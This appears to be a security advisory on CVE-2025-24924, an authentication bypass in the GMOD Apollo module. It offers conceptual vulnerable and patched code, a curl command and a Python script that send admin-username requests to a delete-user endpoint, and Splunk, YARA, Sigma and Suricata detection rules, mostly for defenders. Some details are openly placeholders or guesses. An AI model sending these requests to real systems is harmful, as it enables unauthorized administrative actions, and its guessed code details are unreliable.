CVE-2025-24924

Executive Summary

CVE-2025-24924 identifies a critical authentication bypass vulnerability in the GMOD Apollo module. The flaw allows an unauthenticated attacker to perform administrative actions by simply passing an administrative username in a request. This bypasses all authentication checks, granting full control over the affected system. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the description, it is likely critical. No public proof-of-concept (PoC) or exploit code is currently available, and no patch has been released. The EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom module (GMOD Apollo) and should be treated as a direct application security issue.

CVSS Breakdown & Threat Level

The CVSS vector string is estimated as: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full data access possible.
• Integrity (I): High – Full data modification possible.
• Availability (A): High – Full system disruption possible.

Threat Level: Critical. An unauthenticated attacker can gain full administrative control.

Deep Dive & Mechanics

The vulnerability lies in the authentication logic of the GMOD Apollo module. When a request is made to an administrative endpoint, the system checks if the provided username matches an administrative account. However, it fails to verify that the request is actually authenticated (e.g., via a session token, password, or API key). By simply including an administrative username in the request (e.g., as a parameter or header), the system grants administrative privileges.

Root Cause: Missing authentication check for administrative actions. The code likely does something like:

if request.username in admin_list:
    # Grant admin access

Instead of:

if authenticate(request.username, request.password):
    # Grant admin access

Attack Vector: An attacker sends a crafted HTTP request to an administrative endpoint with a known or guessed admin username. No password or session is required.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def handle_admin_request(request):
    if request.username in admin_usernames:
        # No authentication check
        return perform_admin_action(request)
    else:
        return "Access denied"

Patched Code (Conceptual):

def handle_admin_request(request):
    if not request.session.authenticated:
        return "Authentication required"
    if request.username in admin_usernames and request.session.username == request.username:
        return perform_admin_action(request)
    else:
        return "Access denied"

The patch must enforce authentication before granting administrative privileges.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of GMOD Apollo (if available) or simulate the vulnerable code.
2. Identify an administrative endpoint (e.g., /admin/delete_user).
3. Craft a request with an admin username.

Exploitation Steps:

# Example using curl
curl -X POST http://target.com/admin/delete_user \
  -d "username=admin&user_id=123"

If the server responds with success, the vulnerability is confirmed.

Automated Exploit (Conceptual):

import requests

target = "http://target.com"
admin_endpoint = "/admin/delete_user"
admin_username = "admin"

response = requests.post(target + admin_endpoint, data={"username": admin_username, "user_id": "123"})
if response.status_code == 200:
    print("Exploit successful")

Blue Team

Detection:

• Monitor for requests to administrative endpoints without prior authentication.
• Look for unusual patterns in request parameters (e.g., repeated use of admin usernames).
• Implement logging of all administrative actions.

Hunting:

• Search logs for requests to /admin/* endpoints that do not have a corresponding authentication event.
• Use the following Splunk query:

index=web_logs uri="/admin/*" NOT (session_id=* OR auth_token=*)

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/* endpoints without session cookies or authentication headers.
  • Repeated use of usernames like admin, root, administrator in request parameters.
• System IOCs:
  • Unauthorized changes to user accounts or system configurations.
  • Unexpected creation of new admin users.
• Log IOCs:
  • Log entries showing administrative actions without prior login events.

Detection Engineering

YARA Rule

rule CVE_2025_24924_GMOD_Apollo_AuthBypass {
    meta:
        description = "Detects requests attempting to exploit CVE-2025-24924"
        author = "Valters IT"
        date = "2025-01-01"
    strings:
        $admin_uri = "/admin/" nocase
        $username_param = "username=" nocase
        $admin_user = "admin" nocase
    condition:
        $admin_uri and $username_param and $admin_user
}

Sigma Rule

title: CVE-2025-24924 GMOD Apollo Authentication Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated requests to admin endpoints with admin usernames
logsource:
    category: webserver
    product: apache
detection:
    selection:
        uri|contains: "/admin/"
        params|contains: "username=admin"
    condition: selection
falsepositives:
    - Legitimate admin login attempts (should have authentication)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24924 GMOD Apollo Auth Bypass"; flow:to_server; http.uri; content:"/admin/"; http.client_body; content:"username=admin"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable GMOD Apollo module if possible.
2. Implement a Web Application Firewall (WAF) rule to block requests to /admin/* endpoints that lack authentication tokens.
3. Monitor logs for exploitation attempts.

Long-term Fix:

1. Patch the code to require proper authentication (e.g., session, API key, password) before granting admin access.
2. Conduct a security audit of all authentication mechanisms.
3. Apply the principle of least privilege.

Workaround:

• Restrict access to administrative endpoints via network segmentation (e.g., VPN only).

Valters IT